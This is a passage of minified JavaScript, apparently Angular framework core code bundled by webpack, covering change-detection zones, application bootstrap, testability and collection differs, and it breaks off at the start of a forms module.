o.matches}function b7(e,t,i,r){const o=e.queries.getByIndex(i),l=o.matches;if(null!==l){const v=s9(e,t,o,i);for(let F=0;F<l.length;F+=2){const Y=l[F];if(Y>0)r.push(v[F/2]);else{const me=l[F+1],$e=t[-Y];for(let ft=ln;ft<$e.length;ft++){const zt=$e[ft];zt[Pn]===zt[N1]&&b7(zt[Qt],zt,me,r)}if(null!==$e[Nn]){const ft=$e[Nn];for(let zt=0;zt<ft.length;zt++){const Nt=ft[zt];b7(Nt[Qt],Nt,me,r)}}}}}return r}function o9(e){const t=Tt(),i=t1(),r=F1();A1(r+1);const o=f9(i,r);if(e.dirty&&function v2(e){return 4==(4&e[h1])}(t)===(2==(2&o.metadata.flags))){if(null===o.matches)e.reset([]);else{const l=o.crossesNgTemplate?b7(i,t,r,[]):s9(i,t,o,r);e.reset(l,bl),e.notifyOnChanges()}return!0}return!1}function c9(e,t,i){const r=t1();r.firstCreatePass&&(h9(r,new a9(e,t,i),-1),2==(2&t)&&(r.staticViewQueries=!0)),u9(r,Tt(),t)}function l9(e,t,i,r){const o=t1();if(o.firstCreatePass){const l=W1();h9(o,new a9(t,i,r),l.index),function xh(e,t){const i=e.contentQueries||(e.contentQueries=[]);t!==(i.length?i[i.length-1]:-1)&&i.push(e.queries.length-1,t)}(o,e),2==(2&i)&&(o.staticContentQueries=!0)}u9(o,Tt(),i)}function d9(){return function Mh(e,t){return e[An].queries[t].queryList}(Tt(),F1())}function u9(e,t,i){const r=new _c(4==(4&i));L6(e,t,r,r.destroy),null===t[An]&&(t[An]=new v7),t[An].queries.push(new g7(r))}function h9(e,t,i){null===e.queries&&(e.queries=new _7),e.queries.track(new y7(t,i))}function f9(e,t){return e.queries.getByIndex(t)}function p9(e,t){return yc(e,t)}function C7(e){return!!ke(e)}const Gh=dr("Input",e=>({bindingPropertyName:e})),jh=dr("Output",e=>({bindingPropertyName:e}));function Mc(...e){}const k9=new yn("Application Initializer");let xc=(()=>{class e{constructor(i){this.appInits=i,this.resolve=Mc,this.reject=Mc,this.initialized=!1,this.done=!1,this.donePromise=new Promise((r,o)=>{this.resolve=r,this.reject=o})}runInitializers(){if(this.initialized)return;const i=[],r=()=>{this.done=!0,this.resolve()};if(this.appInits)for(let o=0;o<this.appInits.length;o++){const l=this.appInits[o]();if(r3(l))i.push(l);else if(u0(l)){const v=new Promise((F,Y)=>{l.subscribe({complete:F,error:Y})});i.push(v)}}Promise.all(i).then(()=>{r()}).catch(o=>{this.reject(o)}),0===i.length&&r(),this.initialized=!0}}return e.\\u0275fac=function(i){return new(i||e)(Pe(k9,8))},e.\\u0275prov=Be({token:e,factory:e.\\u0275fac,providedIn:"root"}),e})();const O9=new yn("AppId",{providedIn:"root",factory:function I9(){return`${A7()}${A7()}${A7()}`}});function A7(){return String.fromCharCode(97+Math.floor(25*Math.random()))}const R9=new yn("Platform Initializer"),Yh=new yn("Platform ID",{providedIn:"platform",factory:()=>"unknown"}),Wh=new yn("AnimationModuleType");let $h=(()=>{class e{log(i){console.log(i)}warn(i){console.warn(i)}}return e.\\u0275fac=function(i){return new(i||e)},e.\\u0275prov=Be({token:e,factory:e.\\u0275fac,providedIn:"platform"}),e})();const Dc=new yn("LocaleId",{providedIn:"root",factory:()=>Ue(Dc,Ie.Optional|Ie.SkipSelf)||function Kh(){return typeof $localize<"u"&&$localize.locale||ts}()}),Zh=new yn("DefaultCurrencyCode",{providedIn:"root",factory:()=>"USD"});class Qh{constructor(t,i){this.ngModuleFactory=t,this.componentFactories=i}}let qh=(()=>{class e{compileModuleSync(i){return new u7(i)}compileModuleAsync(i){return Promise.resolve(this.compileModuleSync(i))}compileModuleAndAllComponentsSync(i){const r=this.compileModuleSync(i),l=Or(ke(i).declarations).reduce((v,F)=>{const Y=O(F);return Y&&v.push(new Is(Y)),v},[]);return new Qh(r,l)}compileModuleAndAllComponentsAsync(i){return Promise.resolve(this.compileModuleAndAllComponentsSync(i))}clearCache(){}clearCacheFor(i){}getModuleId(i){}}return e.\\u0275fac=function(i){return new(i||e)},e.\\u0275prov=Be({token:e,factory:e.\\u0275fac,providedIn:"root"}),e})();const ef=(()=>Promise.resolve(0))();function S7(e){typeof Zone>"u"?ef.then(()=>{e&&e.apply(null,null)}):Zone.current.scheduleMicroTask("scheduleMicrotask",e)}class yr{constructor({enableLongStackTrace:t=!1,shouldCoalesceEventChangeDetection:i=!1,shouldCoalesceRunChangeDetection:r=!1}){if(this.hasPendingMacrotasks=!1,this.hasPendingMicrotasks=!1,this.isStable=!0,this.onUnstable=new Qr(!1),this.onMicrotaskEmpty=new Qr(!1),this.onStable=new Qr(!1),this.onError=new Qr(!1),typeof Zone>"u")throw new Q(908,!1);Zone.assertZonePatched();const o=this;o._nesting=0,o._outer=o._inner=Zone.current,Zone.TaskTrackingZoneSpec&&(o._inner=o._inner.fork(new Zone.TaskTrackingZoneSpec)),t&&Zone.longStackTraceZoneSpec&&(o._inner=o._inner.fork(Zone.longStackTraceZoneSpec)),o.shouldCoalesceEventChangeDetection=!r&&i,o.shouldCoalesceRunChangeDetection=r,o.lastRequestAnimationFrameId=-1,o.nativeRequestAnimationFrame=function tf(){let e=ie.requestAnimationFrame,t=ie.cancelAnimationFrame;if(typeof Zone<"u"&&e&&t){const i=e[Zone.__symbol__("OriginalDelegate")];i&&(e=i);const r=t[Zone.__symbol__("OriginalDelegate")];r&&(t=r)}return{nativeRequestAnimationFrame:e,nativeCancelAnimationFrame:t}}().nativeRequestAnimationFrame,function af(e){const t=()=>{!function rf(e){e.isCheckStableRunning||-1!==e.lastRequestAnimationFrameId||(e.lastRequestAnimationFrameId=e.nativeRequestAnimationFrame.call(ie,()=>{e.fakeTopEventTask||(e.fakeTopEventTask=Zone.root.scheduleEventTask("fakeTopEventTask",()=>{e.lastRequestAnimationFrameId=-1,z7(e),e.isCheckStableRunning=!0,E7(e),e.isCheckStableRunning=!1},void 0,()=>{},()=>{})),e.fakeTopEventTask.invoke()}),z7(e))}(e)};e._inner=e._inner.fork({name:"angular",properties:{isAngularZone:!0},onInvokeTask:(i,r,o,l,v,F)=>{try{return N9(e),i.invokeTask(o,l,v,F)}finally{(e.shouldCoalesceEventChangeDetection&&"eventTask"===l.type||e.shouldCoalesceRunChangeDetection)&&t(),H9(e)}},onInvoke:(i,r,o,l,v,F,Y)=>{try{return N9(e),i.invoke(o,l,v,F,Y)}finally{e.shouldCoalesceRunChangeDetection&&t(),H9(e)}},onHasTask:(i,r,o,l)=>{i.hasTask(o,l),r===o&&("microTask"==l.change?(e._hasPendingMicrotasks=l.microTask,z7(e),E7(e)):"macroTask"==l.change&&(e.hasPendingMacrotasks=l.macroTask))},onHandleError:(i,r,o,l)=>(i.handleError(o,l),e.runOutsideAngular(()=>e.onError.emit(l)),!1)})}(o)}static isInAngularZone(){return typeof Zone<"u"&&!0===Zone.current.get("isAngularZone")}static assertInAngularZone(){if(!yr.isInAngularZone())throw new Q(909,!1)}static assertNotInAngularZone(){if(yr.isInAngularZone())throw new Q(909,!1)}run(t,i,r){return this._inner.run(t,i,r)}runTask(t,i,r,o){const l=this._inner,v=l.scheduleEventTask("NgZoneEvent: "+o,t,nf,Mc,Mc);try{return l.runTask(v,i,r)}finally{l.cancelTask(v)}}runGuarded(t,i,r){return this._inner.runGuarded(t,i,r)}runOutsideAngular(t){return this._outer.run(t)}}const nf={};function E7(e){if(0==e._nesting&&!e.hasPendingMicrotasks&&!e.isStable)try{e._nesting++,e.onMicrotaskEmpty.emit(null)}finally{if(e._nesting--,!e.hasPendingMicrotasks)try{e.runOutsideAngular(()=>e.onStable.emit(null))}finally{e.isStable=!0}}}function z7(e){e.hasPendingMicrotasks=!!(e._hasPendingMicrotasks||(e.shouldCoalesceEventChangeDetection||e.shouldCoalesceRunChangeDetection)&&-1!==e.lastRequestAnimationFrameId)}function N9(e){e._nesting++,e.isStable&&(e.isStable=!1,e.onUnstable.emit(null))}function H9(e){e._nesting--,E7(e)}class sf{constructor(){this.hasPendingMicrotasks=!1,this.hasPendingMacrotasks=!1,this.isStable=!0,this.onUnstable=new Qr,this.onMicrotaskEmpty=new Qr,this.onStable=new Qr,this.onError=new Qr}run(t,i,r){return t.apply(i,r)}runGuarded(t,i,r){return t.apply(i,r)}runOutsideAngular(t){return t()}runTask(t,i,r,o){return t.apply(i,r)}}const V9=new yn(""),B9=new yn("");let T7,cf=(()=>{class e{constructor(i,r,o){this._ngZone=i,this.registry=r,this._pendingCount=0,this._isZoneStable=!0,this._didWork=!1,this._callbacks=[],this.taskTrackingZone=null,T7||(function lf(e){T7=e}(o),o.addToWindow(r)),this._watchAngularEvents(),i.run(()=>{this.taskTrackingZone=typeof Zone>"u"?null:Zone.current.get("TaskTrackingZone")})}_watchAngularEvents(){this._ngZone.onUnstable.subscribe({next:()=>{this._didWork=!0,this._isZoneStable=!1}}),this._ngZone.runOutsideAngular(()=>{this._ngZone.onStable.subscribe({next:()=>{yr.assertNotInAngularZone(),S7(()=>{this._isZoneStable=!0,this._runCallbacksIfReady()})}})})}increasePendingRequestCount(){return this._pendingCount+=1,this._didWork=!0,this._pendingCount}decreasePendingRequestCount(){if(this._pendingCount-=1,this._pendingCount<0)throw new Error("pending async requests below zero");return this._runCallbacksIfReady(),this._pendingCount}isStable(){return this._isZoneStable&&0===this._pendingCount&&!this._ngZone.hasPendingMacrotasks}_runCallbacksIfReady(){if(this.isStable())S7(()=>{for(;0!==this._callbacks.length;){let i=this._callbacks.pop();clearTimeout(i.timeoutId),i.doneCb(this._didWork)}this._didWork=!1});else{let i=this.getPendingTasks();this._callbacks=this._callbacks.filter(r=>!r.updateCb||!r.updateCb(i)||(clearTimeout(r.timeoutId),!1)),this._didWork=!0}}getPendingTasks(){return this.taskTrackingZone?this.taskTrackingZone.macroTasks.map(i=>({source:i.source,creationLocation:i.creationLocation,data:i.data})):[]}addCallback(i,r,o){let l=-1;r&&r>0&&(l=setTimeout(()=>{this._callbacks=this._callbacks.filter(v=>v.timeoutId!==l),i(this._didWork,this.getPendingTasks())},r)),this._callbacks.push({doneCb:i,timeoutId:l,updateCb:o})}whenStable(i,r,o){if(o&&!this.taskTrackingZone)throw new Error(\'Task tracking zone is required when passing an update callback to whenStable(). Is "zone.js/plugins/task-tracking" loaded?\');this.addCallback(i,r,o),this._runCallbacksIfReady()}getPendingRequestCount(){return this._pendingCount}registerApplication(i){this.registry.registerApplication(i,this)}unregisterApplication(i){this.registry.unregisterApplication(i)}findProviders(i,r,o){return[]}}return e.\\u0275fac=function(i){return new(i||e)(Pe(yr),Pe(U9),Pe(B9))},e.\\u0275prov=Be({token:e,factory:e.\\u0275fac}),e})(),U9=(()=>{class e{constructor(){this._applications=new Map}registerApplication(i,r){this._applications.set(i,r)}unregisterApplication(i){this._applications.delete(i)}unregisterAllApplications(){this._applications.clear()}getTestability(i){return this._applications.get(i)||null}getAllTestabilities(){return Array.from(this._applications.values())}getAllRootElements(){return Array.from(this._applications.keys())}findTestabilityInTree(i,r=!0){return T7?.findTestabilityInTree(this,i,r)??null}}return e.\\u0275fac=function(i){return new(i||e)},e.\\u0275prov=Be({token:e,factory:e.\\u0275fac,providedIn:"platform"}),e})();const wa=!1;let ns=null;const G9=new yn("AllowMultipleToken"),L7=new yn("PlatformDestroyListeners"),j9=new yn("appBootstrapListener");class hf{constructor(t,i){this.name=t,this.token=i}}function W9(e,t,i=[]){const r=`Platform: ${t}`,o=new yn(r);return(l=[])=>{let v=k7();if(!v||v.injector.get(G9,!1)){const F=[...i,...l,{provide:o,useValue:!0}];e?e(F):function ff(e){if(ns&&!ns.get(G9,!1))throw new Q(400,!1);ns=e;const t=e.get(K9);(function Y9(e){const t=e.get(R9,null);t&&t.forEach(i=>i())})(e)}(function $9(e=[],t){return ba.create({name:t,providers:[{provide:C4,useValue:"platform"},{provide:L7,useValue:new Set([()=>ns=null])},...e]})}(F,r))}return function mf(e){const t=k7();if(!t)throw new Q(401,!1);return t}()}}function k7(){return ns?.get(K9)??null}let K9=(()=>{class e{constructor(i){this._injector=i,this._modules=[],this._destroyListeners=[],this._destroyed=!1}bootstrapModuleFactory(i,r){const o=function Q9(e,t){let i;return i="noop"===e?new sf:("zone.js"===e?void 0:e)||new yr(t),i}(r?.ngZone,function Z9(e){return{enableLongStackTrace:!1,shouldCoalesceEventChangeDetection:!(!e||!e.ngZoneEventCoalescing)||!1,shouldCoalesceRunChangeDetection:!(!e||!e.ngZoneRunCoalescing)||!1}}(r)),l=[{provide:yr,useValue:o}];return o.run(()=>{const v=ba.create({providers:l,parent:this.injector,name:i.moduleType.name}),F=i.create(v),Y=F.injector.get(Ls,null);if(!Y)throw new Q(402,!1);return o.runOutsideAngular(()=>{const me=o.onError.subscribe({next:$e=>{Y.handleError($e)}});F.onDestroy(()=>{Ac(this._modules,F),me.unsubscribe()})}),function q9(e,t,i){try{const r=i();return r3(r)?r.catch(o=>{throw t.runOutsideAngular(()=>e.handleError(o)),o}):r}catch(r){throw t.runOutsideAngular(()=>e.handleError(r)),r}}(Y,o,()=>{const me=F.injector.get(xc);return me.runInitializers(),me.donePromise.then(()=>(function ac(e){De(e,"Expected localeId to be defined"),"string"==typeof e&&(rc=e.toLowerCase().replace(/_/g,"-"))}(F.injector.get(Dc,ts)||ts),this._moduleDoBootstrap(F),F))})})}bootstrapModule(i,r=[]){const o=J9({},r);return function df(e,t,i){const r=new u7(i);return Promise.resolve(r)}(0,0,i).then(l=>this.bootstrapModuleFactory(l,o))}_moduleDoBootstrap(i){const r=i.injector.get(wc);if(i._bootstrapComponents.length>0)i._bootstrapComponents.forEach(o=>r.bootstrap(o));else{if(!i.instance.ngDoBootstrap)throw new Q(-403,!1);i.instance.ngDoBootstrap(r)}this._modules.push(i)}onDestroy(i){this._destroyListeners.push(i)}get injector(){return this._injector}destroy(){if(this._destroyed)throw new Q(404,!1);this._modules.slice().forEach(r=>r.destroy()),this._destroyListeners.forEach(r=>r());const i=this._injector.get(L7,null);i&&(i.forEach(r=>r()),i.clear()),this._destroyed=!0}get destroyed(){return this._destroyed}}return e.\\u0275fac=function(i){return new(i||e)(Pe(ba))},e.\\u0275prov=Be({token:e,factory:e.\\u0275fac,providedIn:"platform"}),e})();function J9(e,t){return Array.isArray(t)?t.reduce(J9,e):{...e,...t}}let wc=(()=>{class e{get destroyed(){return this._destroyed}get injector(){return this._injector}constructor(i,r,o){this._zone=i,this._injector=r,this._exceptionHandler=o,this._bootstrapListeners=[],this._views=[],this._runningTick=!1,this._stable=!0,this._destroyed=!1,this._destroyListeners=[],this.componentTypes=[],this.components=[],this._onMicrotaskEmptySubscription=this._zone.onMicrotaskEmpty.subscribe({next:()=>{this._zone.run(()=>{this.tick()})}});const l=new s.y(F=>{this._stable=this._zone.isStable&&!this._zone.hasPendingMacrotasks&&!this._zone.hasPendingMicrotasks,this._zone.runOutsideAngular(()=>{F.next(this._stable),F.complete()})}),v=new s.y(F=>{let Y;this._zone.runOutsideAngular(()=>{Y=this._zone.onStable.subscribe(()=>{yr.assertNotInAngularZone(),S7(()=>{!this._stable&&!this._zone.hasPendingMacrotasks&&!this._zone.hasPendingMicrotasks&&(this._stable=!0,F.next(!0))})})});const me=this._zone.onUnstable.subscribe(()=>{yr.assertInAngularZone(),this._stable&&(this._stable=!1,this._zone.runOutsideAngular(()=>{F.next(!1)}))});return()=>{Y.unsubscribe(),me.unsubscribe()}});this.isStable=(0,u.T)(l,v.pipe((0,c.B)()))}bootstrap(i,r){const o=i instanceof w4;if(!this._injector.get(xc).done){!o&&$(i);throw new Q(405,wa)}let v;v=o?i:this._injector.get(zs).resolveComponentFactory(i),this.componentTypes.push(v.componentType);const F=function uf(e){return e.isBoundToModule}(v)?void 0:this._injector.get(Go),me=v.create(ba.NULL,[],r||v.selector,F),$e=me.location.nativeElement,ft=me.injector.get(V9,null);return ft?.registerApplication($e),me.onDestroy(()=>{this.detachView(me.hostView),Ac(this.components,me),ft?.unregisterApplication($e)}),this._loadComponent(me),me}tick(){if(this._runningTick)throw new Q(101,!1);try{this._runningTick=!0;for(let i of this._views)i.detectChanges()}catch(i){this._zone.runOutsideAngular(()=>this._exceptionHandler.handleError(i))}finally{this._runningTick=!1}}attachView(i){const r=i;this._views.push(r),r.attachToAppRef(this)}detachView(i){const r=i;Ac(this._views,r),r.detachFromAppRef()}_loadComponent(i){this.attachView(i.hostView),this.tick(),this.components.push(i);const r=this._injector.get(j9,[]);r.push(...this._bootstrapListeners),r.forEach(o=>o(i))}ngOnDestroy(){if(!this._destroyed)try{this._destroyListeners.forEach(i=>i()),this._views.slice().forEach(i=>i.destroy()),this._onMicrotaskEmptySubscription.unsubscribe()}finally{this._destroyed=!0,this._views=[],this._bootstrapListeners=[],this._destroyListeners=[]}}onDestroy(i){return this._destroyListeners.push(i),()=>Ac(this._destroyListeners,i)}destroy(){if(this._destroyed)throw new Q(406,!1);const i=this._injector;i.destroy&&!i.destroyed&&i.destroy()}get viewCount(){return this._views.length}warnIfDestroyed(){}}return e.\\u0275fac=function(i){return new(i||e)(Pe(yr),Pe(ya),Pe(Ls))},e.\\u0275prov=Be({token:e,factory:e.\\u0275fac,providedIn:"root"}),e})();function Ac(e,t){const i=e.indexOf(t);i>-1&&e.splice(i,1)}function vf(){}let _f=(()=>{class e{}return e.__NG_ELEMENT_ID__=yf,e})();function yf(e){return function bf(e,t,i){if(Hn(e)&&!i){const r=Vn(e.index,t);return new Os(r,r)}return 47&e.type?new Os(t[X1],t):null}(W1(),Tt(),16==(16&e))}class iu{constructor(){}supports(t){return Eo(t)}create(t){return new Af(t)}}const wf=(e,t)=>t;class Af{constructor(t){this.length=0,this._linkedRecords=null,this._unlinkedRecords=null,this._previousItHead=null,this._itHead=null,this._itTail=null,this._additionsHead=null,this._additionsTail=null,this._movesHead=null,this._movesTail=null,this._removalsHead=null,this._removalsTail=null,this._identityChangesHead=null,this._identityChangesTail=null,this._trackByFn=t||wf}forEachItem(t){let i;for(i=this._itHead;null!==i;i=i._next)t(i)}forEachOperation(t){let i=this._itHead,r=this._removalsHead,o=0,l=null;for(;i||r;){const v=!r||i&&i.currentIndex<au(r,o,l)?i:r,F=au(v,o,l),Y=v.currentIndex;if(v===r)o--,r=r._nextRemoved;else if(i=i._next,null==v.previousIndex)o++;else{l||(l=[]);const me=F-o,$e=Y-o;if(me!=$e){for(let zt=0;zt<me;zt++){const Nt=zt<l.length?l[zt]:l[zt]=0,Kt=Nt+zt;$e<=Kt&&Kt<me&&(l[zt]=Nt+1)}l[v.previousIndex]=$e-me}}F!==Y&&t(v,F,Y)}}forEachPreviousItem(t){let i;for(i=this._previousItHead;null!==i;i=i._nextPrevious)t(i)}forEachAddedItem(t){let i;for(i=this._additionsHead;null!==i;i=i._nextAdded)t(i)}forEachMovedItem(t){let i;for(i=this._movesHead;null!==i;i=i._nextMoved)t(i)}forEachRemovedItem(t){let i;for(i=this._removalsHead;null!==i;i=i._nextRemoved)t(i)}forEachIdentityChange(t){let i;for(i=this._identityChangesHead;null!==i;i=i._nextIdentityChange)t(i)}diff(t){if(null==t&&(t=[]),!Eo(t))throw new Q(900,!1);return this.check(t)?this:null}onDestroy(){}check(t){this._reset();let o,l,v,i=this._itHead,r=!1;if(Array.isArray(t)){this.length=t.length;for(let F=0;F<this.length;F++)l=t[F],v=this._trackByFn(F,l),null!==i&&Object.is(i.trackById,v)?(r&&(i=this._verifyReinsertion(i,l,v,F)),Object.is(i.item,l)||this._addIdentityChange(i,l)):(i=this._mismatch(i,l,v,F),r=!0),i=i._next}else o=0,function J8(e,t){if(Array.isArray(e))for(let i=0;i<e.length;i++)t(e[i]);else{const i=e[Symbol.iterator]();let r;for(;!(r=i.next()).done;)t(r.value)}}(t,F=>{v=this._trackByFn(o,F),null!==i&&Object.is(i.trackById,v)?(r&&(i=this._verifyReinsertion(i,F,v,o)),Object.is(i.item,F)||this._addIdentityChange(i,F)):(i=this._mismatch(i,F,v,o),r=!0),i=i._next,o++}),this.length=o;return this._truncate(i),this.collection=t,this.isDirty}get isDirty(){return null!==this._additionsHead||null!==this._movesHead||null!==this._removalsHead||null!==this._identityChangesHead}_reset(){if(this.isDirty){let t;for(t=this._previousItHead=this._itHead;null!==t;t=t._next)t._nextPrevious=t._next;for(t=this._additionsHead;null!==t;t=t._nextAdded)t.previousIndex=t.currentIndex;for(this._additionsHead=this._additionsTail=null,t=this._movesHead;null!==t;t=t._nextMoved)t.previousIndex=t.currentIndex;this._movesHead=this._movesTail=null,this._removalsHead=this._removalsTail=null,this._identityChangesHead=this._identityChangesTail=null}}_mismatch(t,i,r,o){let l;return null===t?l=this._itTail:(l=t._prev,this._remove(t)),null!==(t=null===this._unlinkedRecords?null:this._unlinkedRecords.get(r,null))?(Object.is(t.item,i)||this._addIdentityChange(t,i),this._reinsertAfter(t,l,o)):null!==(t=null===this._linkedRecords?null:this._linkedRecords.get(r,o))?(Object.is(t.item,i)||this._addIdentityChange(t,i),this._moveAfter(t,l,o)):t=this._addAfter(new Sf(i,r),l,o),t}_verifyReinsertion(t,i,r,o){let l=null===this._unlinkedRecords?null:this._unlinkedRecords.get(r,null);return null!==l?t=this._reinsertAfter(l,t._prev,o):t.currentIndex!=o&&(t.currentIndex=o,this._addToMoves(t,o)),t}_truncate(t){for(;null!==t;){const i=t._next;this._addToRemovals(this._unlink(t)),t=i}null!==this._unlinkedRecords&&this._unlinkedRecords.clear(),null!==this._additionsTail&&(this._additionsTail._nextAdded=null),null!==this._movesTail&&(this._movesTail._nextMoved=null),null!==this._itTail&&(this._itTail._next=null),null!==this._removalsTail&&(this._removalsTail._nextRemoved=null),null!==this._identityChangesTail&&(this._identityChangesTail._nextIdentityChange=null)}_reinsertAfter(t,i,r){null!==this._unlinkedRecords&&this._unlinkedRecords.remove(t);const o=t._prevRemoved,l=t._nextRemoved;return null===o?this._removalsHead=l:o._nextRemoved=l,null===l?this._removalsTail=o:l._prevRemoved=o,this._insertAfter(t,i,r),this._addToMoves(t,r),t}_moveAfter(t,i,r){return this._unlink(t),this._insertAfter(t,i,r),this._addToMoves(t,r),t}_addAfter(t,i,r){return this._insertAfter(t,i,r),this._additionsTail=null===this._additionsTail?this._additionsHead=t:this._additionsTail._nextAdded=t,t}_insertAfter(t,i,r){const o=null===i?this._itHead:i._next;return t._next=o,t._prev=i,null===o?this._itTail=t:o._prev=t,null===i?this._itHead=t:i._next=t,null===this._linkedRecords&&(this._linkedRecords=new ru),this._linkedRecords.put(t),t.currentIndex=r,t}_remove(t){return this._addToRemovals(this._unlink(t))}_unlink(t){null!==this._linkedRecords&&this._linkedRecords.remove(t);const i=t._prev,r=t._next;return null===i?this._itHead=r:i._next=r,null===r?this._itTail=i:r._prev=i,t}_addToMoves(t,i){return t.previousIndex===i||(this._movesTail=null===this._movesTail?this._movesHead=t:this._movesTail._nextMoved=t),t}_addToRemovals(t){return null===this._unlinkedRecords&&(this._unlinkedRecords=new ru),this._unlinkedRecords.put(t),t.currentIndex=null,t._nextRemoved=null,null===this._removalsTail?(this._removalsTail=this._removalsHead=t,t._prevRemoved=null):(t._prevRemoved=this._removalsTail,this._removalsTail=this._removalsTail._nextRemoved=t),t}_addIdentityChange(t,i){return t.item=i,this._identityChangesTail=null===this._identityChangesTail?this._identityChangesHead=t:this._identityChangesTail._nextIdentityChange=t,t}}class Sf{constructor(t,i){this.item=t,this.trackById=i,this.currentIndex=null,this.previousIndex=null,this._nextPrevious=null,this._prev=null,this._next=null,this._prevDup=null,this._nextDup=null,this._prevRemoved=null,this._nextRemoved=null,this._nextAdded=null,this._nextMoved=null,this._nextIdentityChange=null}}class Ef{constructor(){this._head=null,this._tail=null}add(t){null===this._head?(this._head=this._tail=t,t._nextDup=null,t._prevDup=null):(this._tail._nextDup=t,t._prevDup=this._tail,t._nextDup=null,this._tail=t)}get(t,i){let r;for(r=this._head;null!==r;r=r._nextDup)if((null===i||i<=r.currentIndex)&&Object.is(r.trackById,t))return r;return null}remove(t){const i=t._prevDup,r=t._nextDup;return null===i?this._head=r:i._nextDup=r,null===r?this._tail=i:r._prevDup=i,null===this._head}}class ru{constructor(){this.map=new Map}put(t){const i=t.trackById;let r=this.map.get(i);r||(r=new Ef,this.map.set(i,r)),r.add(t)}get(t,i){const o=this.map.get(t);return o?o.get(t,i):null}remove(t){const i=t.trackById;return this.map.get(i).remove(t)&&this.map.delete(i),t}get isEmpty(){return 0===this.map.size}clear(){this.map.clear()}}function au(e,t,i){const r=e.previousIndex;if(null===r)return r;let o=0;return i&&r<i.length&&(o=i[r]),r+t+o}class su{constructor(){}supports(t){return t instanceof Map||Q4(t)}create(){return new zf}}class zf{constructor(){this._records=new Map,this._mapHead=null,this._appendAfter=null,this._previousMapHead=null,this._changesHead=null,this._changesTail=null,this._additionsHead=null,this._additionsTail=null,this._removalsHead=null,this._removalsTail=null}get isDirty(){return null!==this._additionsHead||null!==this._changesHead||null!==this._removalsHead}forEachItem(t){let i;for(i=this._mapHead;null!==i;i=i._next)t(i)}forEachPreviousItem(t){let i;for(i=this._previousMapHead;null!==i;i=i._nextPrevious)t(i)}forEachChangedItem(t){let i;for(i=this._changesHead;null!==i;i=i._nextChanged)t(i)}forEachAddedItem(t){let i;for(i=this._additionsHead;null!==i;i=i._nextAdded)t(i)}forEachRemovedItem(t){let i;for(i=this._removalsHead;null!==i;i=i._nextRemoved)t(i)}diff(t){if(t){if(!(t instanceof Map||Q4(t)))throw new Q(900,!1)}else t=new Map;return this.check(t)?this:null}onDestroy(){}check(t){this._reset();let i=this._mapHead;if(this._appendAfter=null,this._forEach(t,(r,o)=>{if(i&&i.key===o)this._maybeAddToChanges(i,r),this._appendAfter=i,i=i._next;else{const l=this._getOrCreateRecordForKey(o,r);i=this._insertBeforeOrAppend(i,l)}}),i){i._prev&&(i._prev._next=null),this._removalsHead=i;for(let r=i;null!==r;r=r._nextRemoved)r===this._mapHead&&(this._mapHead=null),this._records.delete(r.key),r._nextRemoved=r._next,r.previousValue=r.currentValue,r.currentValue=null,r._prev=null,r._next=null}return this._changesTail&&(this._changesTail._nextChanged=null),this._additionsTail&&(this._additionsTail._nextAdded=null),this.isDirty}_insertBeforeOrAppend(t,i){if(t){const r=t._prev;return i._next=t,i._prev=r,t._prev=i,r&&(r._next=i),t===this._mapHead&&(this._mapHead=i),this._appendAfter=t,t}return this._appendAfter?(this._appendAfter._next=i,i._prev=this._appendAfter):this._mapHead=i,this._appendAfter=i,null}_getOrCreateRecordForKey(t,i){if(this._records.has(t)){const o=this._records.get(t);this._maybeAddToChanges(o,i);const l=o._prev,v=o._next;return l&&(l._next=v),v&&(v._prev=l),o._next=null,o._prev=null,o}const r=new Tf(t);return this._records.set(t,r),r.currentValue=i,this._addToAdditions(r),r}_reset(){if(this.isDirty){let t;for(this._previousMapHead=this._mapHead,t=this._previousMapHead;null!==t;t=t._next)t._nextPrevious=t._next;for(t=this._changesHead;null!==t;t=t._nextChanged)t.previousValue=t.currentValue;for(t=this._additionsHead;null!=t;t=t._nextAdded)t.previousValue=t.currentValue;this._changesHead=this._changesTail=null,this._additionsHead=this._additionsTail=null,this._removalsHead=null}}_maybeAddToChanges(t,i){Object.is(i,t.currentValue)||(t.previousValue=t.currentValue,t.currentValue=i,this._addToChanges(t))}_addToAdditions(t){null===this._additionsHead?this._additionsHead=this._additionsTail=t:(this._additionsTail._nextAdded=t,this._additionsTail=t)}_addToChanges(t){null===this._changesHead?this._changesHead=this._changesTail=t:(this._changesTail._nextChanged=t,this._changesTail=t)}_forEach(t,i){t instanceof Map?t.forEach(i):Object.keys(t).forEach(r=>i(t[r],r))}}class Tf{constructor(t){this.key=t,this.previousValue=null,this.currentValue=null,this._nextPrevious=null,this._next=null,this._prev=null,this._nextAdded=null,this._nextRemoved=null,this._nextChanged=null}}function ou(){return new F7([new iu])}let F7=(()=>{class e{constructor(i){this.factories=i}static create(i,r){if(null!=r){const o=r.factories.slice();i=i.concat(o)}return new e(i)}static extend(i){return{provide:e,useFactory:r=>e.create(i,r||ou()),deps:[[e,new Yi,new On]]}}find(i){const r=this.factories.find(o=>o.supports(i));if(null!=r)return r;throw new Q(901,!1)}}return e.\\u0275prov=Be({token:e,providedIn:"root",factory:ou}),e})();function cu(){return new N7([new su])}let N7=(()=>{class e{constructor(i){this.factories=i}static create(i,r){if(r){const o=r.factories.slice();i=i.concat(o)}return new e(i)}static extend(i){return{provide:e,useFactory:r=>e.create(i,r||cu()),deps:[[e,new Yi,new On]]}}find(i){const r=this.factories.find(o=>o.supports(i));if(r)return r;throw new Q(901,!1)}}return e.\\u0275prov=Be({token:e,providedIn:"root",factory:cu}),e})();const Of=W9(null,"core",[]);let If=(()=>{class e{constructor(i){}}return e.\\u0275fac=function(i){return new(i||e)(Pe(wc))},e.\\u0275mod=P1({type:e}),e.\\u0275inj=P({}),e})();function Rf(e){return"boolean"==typeof e?e:null!=e&&"false"!==e}},4006:(At,ae,d)=>{"use strict";d.d(ae,{Cf:()=>oe,EJ:()=>Zn,F:()=>V1,Fj:()=>j,JJ:()=>Pt,JL:()=>Ie,JU:()=>_,Kr:()=>Bi,NI:()=>In,On:()=>li,Q7:()=>ki,UX:()=>st,Wl:()=>g,YN:()=>Hi,Zs:()=>Ci,_Y:()=>L1,a5:()=>ct,c5:()=>Mi,kI:()=>K,nD:()=>un,nJ:()=>Ee,oH:()=>Hn,p4:()=>Gn,sg:()=>pn,u:()=>qi,u5:()=>ye,wO:()=>bn,wV:()=>Mn});var n=d(4650),a=d(6895),s=d(5254),u=d(567),c=d(4850);let f=(()=>{class 